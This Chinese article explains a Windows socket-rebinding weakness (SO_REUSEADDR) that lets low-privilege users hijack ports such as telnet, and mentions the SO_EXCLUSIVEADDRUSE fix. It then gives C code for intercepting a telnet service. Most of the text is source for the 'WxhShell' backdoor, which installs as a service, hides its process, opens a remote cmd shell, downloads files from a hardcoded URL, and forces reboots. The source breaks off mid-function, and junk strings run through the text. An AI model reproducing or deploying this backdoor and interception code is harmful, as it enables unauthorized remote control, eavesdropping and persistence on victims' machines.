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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6/5YjO|a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p)`{Sos K18}W*$
d saddr.sin_family = AF_INET; I@T8Iv= WA5 kg\ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,BH@j%Jmy +[M6X}
TQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FtpK)9/4 Z?6%;n^ 54 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {&cJDqz5= ( Z619w 这意味着什么?意味着可以进行如下的攻击: o2nv+fyW fa-IhB1!K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V\>K]mwD \.0^n3y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D[4u+g?[}> p)jk>j B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7S-ys+ RmI]1S_= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Nkjza:f{ {o)L c6T8s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HguT"%iv UxbjA- U[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _G[g;$< /sUYU(3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lAS#874dE &b.=M>\9Q #include Q!o'}nA #include u7Y
WnD #include
Us)Z^s #include ?~l6K(*2 DWORD WINAPI ClientThread(LPVOID lpParam); ; ^*}#Xd int main() ;%B(_c { Vrjc~>X WORD wVersionRequested; l>2E (Y| DWORD ret; VEH&&@d WSADATA wsaData; 'vVQg BOOL val; JUsQ,ETn SOCKADDR_IN saddr; @GPCwE1 SOCKADDR_IN scaddr; j:^#rFD4? int err; ?L5zC+c! SOCKET s; TcyNIx SOCKET sc; o~U$GBg int caddsize; ]S&&|Fc HANDLE mt; LSm$dK DWORD tid; 7G:s2432 wVersionRequested = MAKEWORD( 2, 2 ); bh s5x err = WSAStartup( wVersionRequested, &wsaData ); ySk R>y if ( err != 0 ) { 4{}FL printf("error!WSAStartup failed!\n"); &)YQv Tzs return -1; FGPB: } gD0eFTN saddr.sin_family = AF_INET; \6S7T$$ 1m <vnHz?71c //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BIb4h
<m!h&_eg saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8/DS:uM saddr.sin_port = htons(23);
jPC[_g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hv)x=e< { Y_Eb'*PY printf("error!socket failed!\n"); )}''L{k- return -1; ]O Z5fd } [NQOrcAQ val = TRUE; qBU-~"2t //SO_REUSEADDR选项就是可以实现端口重绑定的 214Ml0/% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1 da@3xaF { pny11C printf("error!setsockopt failed!\n"); zUDg&-J3 return -1; g-qP;vy@"q } _G_Cj{w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |$+3a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q0$8j-1I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,V'o4]H 32l3vv.j if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !y#"l$"xK {
7;u
e ret=GetLastError(); iz5CAxm printf("error!bind failed!\n"); ?M$.+V{a return -1; z_g~ } kM!kD4& listen(s,2); FK6[>(QO while(1) ::o lN { E"\/M caddsize = sizeof(scaddr); X#d~zk[r2 //接受连接请求 .R`5Qds*l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k[0-CB if(sc!=INVALID_SOCKET) \%u3 { 1m+p;T$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -HQQw$ if(mt==NULL) 2Fy>.*,? { -\+s#kE: printf("Thread Creat Failed!\n"); %mL-$* break; 85lCj-cs } KgV3j]d } tM2)k+fg CloseHandle(mt); +nUy,S?43 } 6\L0mcXR!
closesocket(s); F8hw#!Aq WSACleanup(); Q*~LCtrI return 0; Yaj0;Lo[wt } EJ@?h(O DWORD WINAPI ClientThread(LPVOID lpParam) )_a~}
U]=. { |}23>l7 SOCKET ss = (SOCKET)lpParam; Mc#*wEo)8 SOCKET sc; '"y|p+=j: unsigned char buf[4096]; c?P?yIz6p SOCKADDR_IN saddr; pa#d L!J long num; 9F6F~::l} DWORD val; NxSu3e~PS DWORD ret; ~SQ?BoCI[ //如果是隐藏端口应用的话,可以在此处加一些判断 Rfn9s(m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 8iW;y2qF saddr.sin_family = AF_INET; Tskq)NU saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KiRUvWqa saddr.sin_port = htons(23); :!/gk8F|dI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -DxL 0:E { |\_^B printf("error!socket failed!\n"); ~n[d4qV& return -1; ?!wgH9?8 } 6)z?f4, val = 100; +${D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }>)@WL:q { iY`%SmB ret = GetLastError(); 9k9_mjLZ return -1; n$U#:aQE } :q
ti if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $k0kk { :1 (p.q= ret = GetLastError(); 76>7=#m0u' return -1; V<D.sd< } MepuIh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Q7-vx { y'(Ne=y printf("error!socket connect failed!\n"); _FXZm50\g{ closesocket(sc); ;^La"m closesocket(ss); iS&l8@2a return -1; |?Frj } fq5_G~c= while(1) [~kdPk { ZeUvyIG //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !iH-#B- //如果是嗅探内容的话,可以再此处进行内容分析和记录 =1O<E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W3D c r@Dy num = recv(ss,buf,4096,0); RG3l.jL if(num>0) ZIPl7tTw send(sc,buf,num,0); uum;q-" else if(num==0) &=<x#h- break; ~ zil/P8 num = recv(sc,buf,4096,0); zrR`ecC(b if(num>0) /EibEd\ send(ss,buf,num,0); !lxTX else if(num==0)
L f"i
! break; fGw^:,B } cC o`~7rE closesocket(ss); AX?fuDLs closesocket(sc); T21ky>8E return 0 ; D'L'#/hK } 9R;/*$ Vw#_68EybM CM<]ZG7 ========================================================== 1z&Ly3 Ubh{!Y 下边附上一个代码,,WXhSHELL z\0CE]#T &;XAuDw4+i ========================================================== ,ldI2] %honO@$ #include "stdafx.h" >N;F8v JYrY[',u #include <stdio.h> ZDD..j #include <string.h> rsF\JQk #include <windows.h> ZunCKc #include <winsock2.h> ]W Zq^'q. #include <winsvc.h> Z.W66\8~}^ #include <urlmon.h> sf OHl Di@GY! #pragma comment (lib, "Ws2_32.lib") <+^6}8- #pragma comment (lib, "urlmon.lib") %]gn?`O lz?;#U #define MAX_USER 100 // 最大客户端连接数 3m>+-})d #define BUF_SOCK 200 // sock buffer 2:BF[c` #define KEY_BUFF 255 // 输入 buffer FuUD 61JHY &K43x&mFF #define REBOOT 0 // 重启 :}h>by= #define SHUTDOWN 1 // 关机 "]m+z)lWd b{d4xU8' #define DEF_PORT 5000 // 监听端口 ZxG}ViS4I v?0r`<Mn #define REG_LEN 16 // 注册表键长度 )mJf|W!Z# #define SVC_LEN 80 // NT服务名长度 6ns! ~g@ ?E9D Xg // 从dll定义API 9U {y1} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qd_Y\PzS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AsPx? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); osOVg0Gyj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;Og&FFs' FYb34LY // wxhshell配置信息 qC_mu)6 struct WSCFG { zOHypazOTq int ws_port; // 监听端口 Nrah;i+H\o char ws_passstr[REG_LEN]; // 口令 [w0/\]o int ws_autoins; // 安装标记, 1=yes 0=no c{>uqPTY char ws_regname[REG_LEN]; // 注册表键名 IcrL char ws_svcname[REG_LEN]; // 服务名 @)>D))+ char ws_svcdisp[SVC_LEN]; // 服务显示名 'JdkUhq1V char ws_svcdesc[SVC_LEN]; // 服务描述信息 YC=S5; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZkP{[^6d\ int ws_downexe; // 下载执行标记, 1=yes 0=no !@I}mQ ~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" `k;KBW char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (f_g7B2&y .6m "'m0; }; aup6?'G; 0Rz(|jlbS // default Wxhshell configuration g7CXlT0Q6 struct WSCFG wscfg={DEF_PORT, R0;efD "xuhuanlingzhe", 1z*kc)=JF8 1, 16X@^j_ "Wxhshell", Z~6[ Z "Wxhshell", 3L_I[T$s "WxhShell Service", '4OcZ/oI "Wrsky Windows CmdShell Service", ?X9]HlH "Please Input Your Password: ", T#!lPH :&h 1, (X +s-4% " http://www.wrsky.com/wxhshell.exe", V8-h%|$p3W "Wxhshell.exe" WlV
z,t'if }; ?$z.K>S5 =q(GHg;' // 消息定义模块 Aaw(Ed char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -$<O\5cAQ char *msg_ws_prompt="\n\r? for help\n\r#>"; C;Ic char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 2 ?|gnbE: char *msg_ws_ext="\n\rExit."; [9mL $;M
W char *msg_ws_end="\n\rQuit."; Nf9fb? char *msg_ws_boot="\n\rReboot..."; 6<Hu8$G| char *msg_ws_poff="\n\rShutdown..."; *zVvQ= char *msg_ws_down="\n\rSave to "; DlyMJ#a p"`% char *msg_ws_err="\n\rErr!"; ~V)?>)T char *msg_ws_ok="\n\rOK!"; ] c}91 2GWDEgI1o char ExeFile[MAX_PATH]; wk\L* \@Y} int nUser = 0; Eff\Aq{ HANDLE handles[MAX_USER]; \k.vN@K# int OsIsNt;
0=6/yc /&Jv,[2kV SERVICE_STATUS serviceStatus; sI 4yG SERVICE_STATUS_HANDLE hServiceStatusHandle; y/_wx(2 .tF|YP== // 函数声明 H5nS%D int Install(void); PI|`vC|yy& int Uninstall(void); tkuc/Z/@ int DownloadFile(char *sURL, SOCKET wsh); dEp/dd~(& int Boot(int flag); MonS hIz
void HideProc(void); 2H[)1|]l int GetOsVer(void); m-1?\bs int Wxhshell(SOCKET wsl); \gccQig1CJ void TalkWithClient(void *cs); *+lsZ8'^C int CmdShell(SOCKET sock); ilEi")b= int StartFromService(void); eZF'Ck y int StartWxhshell(LPSTR lpCmdLine); *,#q'!Hq zp=!8Av VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5M?mYNQR/H VOID WINAPI NTServiceHandler( DWORD fdwControl ); `?o=*OS7Y <fM>Yi5 // 数据结构和表定义 Li`hdrO'ii SERVICE_TABLE_ENTRY DispatchTable[] = )teFS% { v@T'7?s. {wscfg.ws_svcname, NTServiceMain}, VEh]p5D {NULL, NULL} PM~*|(fA }; 3-Y=EH_0 n@B{vyy // 自我安装 `
%' z int Install(void) eihZp { fuSq ={] char svExeFile[MAX_PATH]; Uu2N9.5 HKEY key; ."JzDs strcpy(svExeFile,ExeFile); [V< 1_zqt `
py}99G // 如果是win9x系统,修改注册表设为自启动 ,OBQv.D3>a if(!OsIsNt) { &X w`T9< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4%bTj,H# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pc4R!Tc RegCloseKey(key); ~PUsgL^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u
2lXd' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T8q[7Zn RegCloseKey(key); <kc]L x return 0; /Nqrvy= } @f=RL)$| } </w7W3F } cHn;}l!I else { [a D:A M'|)dM| // 如果是NT以上系统,安装为系统服务 FH
-p!4+] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1nXqi)&?; if (schSCManager!=0) }wkaQQh { AFtCqq#[ SC_HANDLE schService = CreateService zg0%>iqO ( (+$ol'i schSCManager, {fElto
wscfg.ws_svcname, xc*!W*04 wscfg.ws_svcdisp, F(G<*lA SERVICE_ALL_ACCESS, b60[({A\s& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9C1b^^Kb SERVICE_AUTO_START, toN SERVICE_ERROR_NORMAL, vu>YH)N_h svExeFile, 6#?NL]A NULL, g?$e^ls NULL, dWIZ37w+D NULL, #_,uE9 NULL, E.4n}s NULL X#Ak'%J ); xtu]F if (schService!=0) )j(fWshP { kYTOldfY2 CloseServiceHandle(schService); v?%0~! CloseServiceHandle(schSCManager); ->Q`'@'|P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xf[zE Et strcat(svExeFile,wscfg.ws_svcname); a]{uZGn@i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GW:\l~ d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q;Q RegCloseKey(key); QQSH + return 0; ;4R=eI } B>ge,
}{ } T&mbXMN CloseServiceHandle(schSCManager); nh?9R& } #?A]v>I;C } *EX$v4BX )Xq@v']%~9 return 1; $:PF9pY( } ,uKs>T^ - a // 自我卸载 u~
VswXc4 int Uninstall(void) ;K>{_kf { (0X,Qwx HKEY key; e!.7no 'MSEki67 if(!OsIsNt) { -qs(2^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d.LOyO RegDeleteValue(key,wscfg.ws_regname); 0,;E.Py?. RegCloseKey(key); [vZfH!vLP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xYT#!K1* RegDeleteValue(key,wscfg.ws_regname); %H 8A= RegCloseKey(key); FGV}5L return 0; E~rs11 } k,
$I59 } oqm } NvEm,E\| else { 8=lHUn9l =#
k<Kw# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |LX rGyk^ if (schSCManager!=0) 7Qm;g-)f { g5lmUKlQ$0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <K=@-4/Bp if (schService!=0) 6ctHL<^ { Pmqx ; if(DeleteService(schService)!=0) { KK&<Vw|O\ CloseServiceHandle(schService); D[?k ,* CloseServiceHandle(schSCManager); 2r PcNh9 return 0; /}h71V! } < fojX\}3 CloseServiceHandle(schService); NB|RZf9M } c n\k`8 CloseServiceHandle(schSCManager); kX ~-g } GnSgO-$" } o2[vM$] [dSDg2] return 1; PfwI@%2 } h|(ZXCH >!HfH(is\ // 从指定url下载文件 k"Z"$V2i int DownloadFile(char *sURL, SOCKET wsh) 3{2^G@j { CjC'"+[w HRESULT hr; .IW_DM- char seps[]= "/"; 0)6i~Mg lY char *token; NB!'u)
lFD char *file; )vEHLp. char myURL[MAX_PATH]; (<d&BV- " char myFILE[MAX_PATH]; @);!x41f 4Vb}i[</ strcpy(myURL,sURL); B9m>H=8a token=strtok(myURL,seps); ';;p8bv+ while(token!=NULL) .BYKdxa { rm5T=fNJ file=token; o+"0. B token=strtok(NULL,seps); ~RZJ/%6F } A}t&- A;kw}! GetCurrentDirectory(MAX_PATH,myFILE); |dB1R% strcat(myFILE, "\\"); P/C+L[X= strcat(myFILE, file); &*>CPO send(wsh,myFILE,strlen(myFILE),0); !yV,|)y5F send(wsh,"...",3,0); @aqd'O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4BduUH if(hr==S_OK) P*0nT return 0; #TW>'lF else v3hQv)j) return 1; U'Ja\Ek/f Dh!iY0Lz } 9A *?E p^4;fD // 系统电源模块 mD ^qx0o< int Boot(int flag) 8XH |T^5 { iX>!ju'V HANDLE hToken; |$SvD2^ TOKEN_PRIVILEGES tkp; ^M"=A}h U Qi^udGFD if(OsIsNt) { Qa7S'( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \: _.N8" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {!{7zM%u0C tkp.PrivilegeCount = 1; $cJN9|$6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g+KzlS[6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ExOB P if(flag==REBOOT) { z:i X]df if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TOPPa?=vk return 0; ?`l=!>C4s } {Hp}F!X$ else { 49J+&G?)j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n?P 5pJ return 0; Hdq/E>u } vN%j-'D\A4 } Fzld0p9= else { !k>H e*M}P if(flag==REBOOT) { fD#&: ) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MVeQ5c( return 0; 0Yzb=QMD } q* y9/HnI else { = C'e1=] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }DUDA%U return 0; 1=q?#PQ } 5KH'|z } J_wz'eIb0 7f\^VG return 1; DCt:EhC } \(>$mtS: [A..<[ // win9x进程隐藏模块 xXU/m| void HideProc(void) _6-/S!7Y\ { B]KLn?zt5 V+a%,sI HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ma-Y' if ( hKernel != NULL ) zs&`: { 5G] #yb74 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BL5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X.AOp FreeLibrary(hKernel);
[aS)<^ } w%o4MFK=! 2#:]%y;\ return; 7}1Kafs } <K[Zl/7I mV(x&`Cx // 获取操作系统版本 9]F&Fz/G int GetOsVer(void) F+$@3[Q`N { +e]b,9.sR OSVERSIONINFO winfo; 4%v+ark8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IM5^E#-g7 GetVersionEx(&winfo); 5WJkeG ba if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qCkg\)Ks5I return 1; rU^ghF else vzm4 return 0; >(6\ C } ~\}EROb< 'MQGR@* // 客户端句柄模块 0?Wf\7 int Wxhshell(SOCKET wsl) BG8)bhk;/ { IC-xCzR SOCKET wsh; 8Bt- struct sockaddr_in client; JHZo:Ad -& DWORD myID; f$W}d0(F; 5'-9?-S" while(nUser<MAX_USER) %=<NqINM[ { J o(}#_y? int nSize=sizeof(client); ZznWs+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }qdJ8K if(wsh==INVALID_SOCKET) return 1; Lm{ o=v
eC`f8=V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r=||sZs if(handles[nUser]==0) zPkPC}f(O closesocket(wsh);
. _t,OX$ else l<:E+lU nUser++; ?E_p ,#9j) } *g41"Cl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hPpXB:(-0 2^ZPO4| return 0; [=1?CD } '^(v8lCu
q8bS@\i // 关闭 socket YY<?w void CloseIt(SOCKET wsh) ?N*@o. { MNmQ%R4jRN closesocket(wsh); K y2xWd8 nUser--; ,:4w$!; ExitThread(0); P1 >X5: } )-"L4TC) _rJSkZO // 客户端请求句柄 Ru aJ9O void TalkWithClient(void *cs) $K fk=@ { BvR3Oi@Wc 3D
dG$@ SOCKET wsh=(SOCKET)cs; ^ED>{UiNI char pwd[SVC_LEN]; FN`kSTm*0! char cmd[KEY_BUFF]; ;l?(VqX_E char chr[1]; XRz6Yf(/ int i,j; J5IJy3d j5GZ;d? while (nUser < MAX_USER) { L^s;kkB GZX!iT if(wscfg.ws_passstr) { 1H
6Wrik if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {*$J&{6V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8N_rJ)f //ZeroMemory(pwd,KEY_BUFF); HZ=yfJs nc i=0; becQ5w/~ while(i<SVC_LEN) { ve^MqW&S S$On$]~\" // 设置超时 =V
7w CW fd_set FdRead; CW YJ<27v{ struct timeval TimeOut; <F
& hfy FD_ZERO(&FdRead); ^v|!(h\ZC FD_SET(wsh,&FdRead); 6Ymk8.PF TimeOut.tv_sec=8; +0 |0X {v TimeOut.tv_usec=0; 8!>pFVNJf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3U$fMLx]k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LXV6Ew5E i=QhXCM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oU? X"B9 pwd =chr[0]; rP4@K%F9jB if(chr[0]==0xd || chr[0]==0xa) { '=* 5C{ pwd=0; ]#.# ]}= break; `VN<6o( } \ y",Qq? i++; &W!@3O{~. } P@?CQvMx V'/%)oU\" // 如果是非法用户,关闭 socket \RO Sd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &,7(Wab } ~vFo 0k( i`L66uV send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @7'gr>_E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ek!N eu> T]2q >N while(1) { S:QEHd_C Q.\ovk~,a ZeroMemory(cmd,KEY_BUFF); N2J!7uoQ PX)qA=4q // 自动支持客户端 telnet标准 5GkM7Zu!{j j=0; p<34}iZ while(j<KEY_BUFF) { 7Y:s6 R| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iX p8u** cmd[j]=chr[0]; ^)~M,rW8c if(chr[0]==0xa || chr[0]==0xd) { :Ej)AfS cmd[j]=0; ERjf.7)d break; K%B i8d } lUd,- j++; S:s^si2/ } my6T@0R ^(:Rbsl // 下载文件 k$!&3Rh if(strstr(cmd,"http://")) { +\chHOsw send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ipx:k+J if(DownloadFile(cmd,wsh)) ps{(UYM=b send(wsh,msg_ws_err,strlen(msg_ws_err),0); [bXZPIz;j else [:qX3"B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'P#I<?vB } is$d<Y&F else { u 36;;z CjGI}t switch(cmd[0]) { {5h_$a!TaU w?q"%F;/ // 帮助 )Be;Zw.| case '?': { J4i0+u send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N}=-+E| break; 1rC'sfz } [tN/}_] // 安装 O{V"'o case 'i': { (x@"Dp=MZW if(Install()) &Is%I<'o send(wsh,msg_ws_err,strlen(msg_ws_err),0); jg(A_V else u\.7#D> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j;)U5X break; #GY;., } MW6d- // 卸载 8ZE{GX.m2c case 'r': { rhsSV3iM if(Uninstall()) 7;+:J;xf66 send(wsh,msg_ws_err,strlen(msg_ws_err),0); F2:?lmhL< else &U*=D8!0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2mWW0txil break; }L3k pw } #B_
``XV // 显示 wxhshell 所在路径 a$l case 'p': { {YT!vD9. char svExeFile[MAX_PATH]; EQET:a:g strcpy(svExeFile,"\n\r"); ]=m
'| 0} strcat(svExeFile,ExeFile); F$N"&<[c send(wsh,svExeFile,strlen(svExeFile),0); '!I^Lfz-Z break; _jQ"_Ff } !
jm> // 重启 PTXy:>]M case 'b': { t-)C0< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :
2Ho
if(Boot(REBOOT)) b7^VWX% send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(zlHj else { lED-Jo2 closesocket(wsh); |$`)d87, ExitThread(0); K!VIY|U } Fc%@ break; ]L@VpHEj } 6hv4D`d;o // 关机 nlQ<Aa-% case 'd': { &'uFy0d, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NpG5$? if(Boot(SHUTDOWN)) \BOZhXfl' send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZ#nZB else { *4"s,1?@BG closesocket(wsh); FIG3P)) ExitThread(0); k>I[U}h } 6r4o47_t8# break; /B73|KB+ } ![YLY&}s // 获取shell {p&LwTnf case 's': { [XK Ke CmdShell(wsh); -]\cUQ0 closesocket(wsh); ]PJb 9$f2 ExitThread(0); 1bs8fUPB3 break; z;yb;), } m{4e+&S| // 退出 pCS2sq8RC case 'x': { BQq,,i8H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?9hw]Q6r} CloseIt(wsh); i>#[*.|P break; )xYv$6= } o-"/1 zLg4 // 离开 @|! 9~F case 'q': { \' (_r send(wsh,msg_ws_end,strlen(msg_ws_end),0); (ds-p[`[m closesocket(wsh); 3)ac
WSACleanup(); ICwhqH& exit(1); F[uy'~;@ break; q{I,i(%m8 } yG -1g0 } C,T9xm } ENW>bS8e` a'=C/ s+ // 提示信息 fZ!fwg$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <$!^LKKzA } AW3\>WC } +NL^/y<; P[{qp8(g return; &iCE/ } >Hb>wlYR n46A // shell模块句柄 2K?~)q&t* int CmdShell(SOCKET sock) .R5[bXxe7 { O9y4.`a" STARTUPINFO si; vpR^G`/ ZeroMemory(&si,sizeof(si)); ivL}\~L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Itn7Kl si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PR rf$& u PROCESS_INFORMATION ProcessInfo; Z^? 1MJ:` char cmdline[]="cmd"; g}HB|$P7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sj?u^L8es} return 0; X :2%U } i
oCoFj *xm(K+j // 自身启动模式 wcGI2aflD int StartFromService(void) U^jxKBq^ { X"QIH|qx- typedef struct -1dbJ/) { c 32IO&W4 DWORD ExitStatus; UUb n7& DWORD PebBaseAddress; K"~Tk`[0Q DWORD AffinityMask; 8vFt<k}G DWORD BasePriority; {z)&=v@ ULONG UniqueProcessId; ~3k& =3d] ULONG InheritedFromUniqueProcessId; s|iph~W!L } PROCESS_BASIC_INFORMATION; "-aak )7w gq9D#B PROCNTQSIP NtQueryInformationProcess; ,#=ykg*~/ ]L0GIVIE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c2M-/ x-: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4R_Vi[i TMt,\gTd HANDLE hProcess; }1]E=!?)& PROCESS_BASIC_INFORMATION pbi; v(ABZNIn Hx;ij? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I5RV:e5b if(NULL == hInst ) return 0; 3L2@C% K:}~8 P>^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w k1O*_76 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 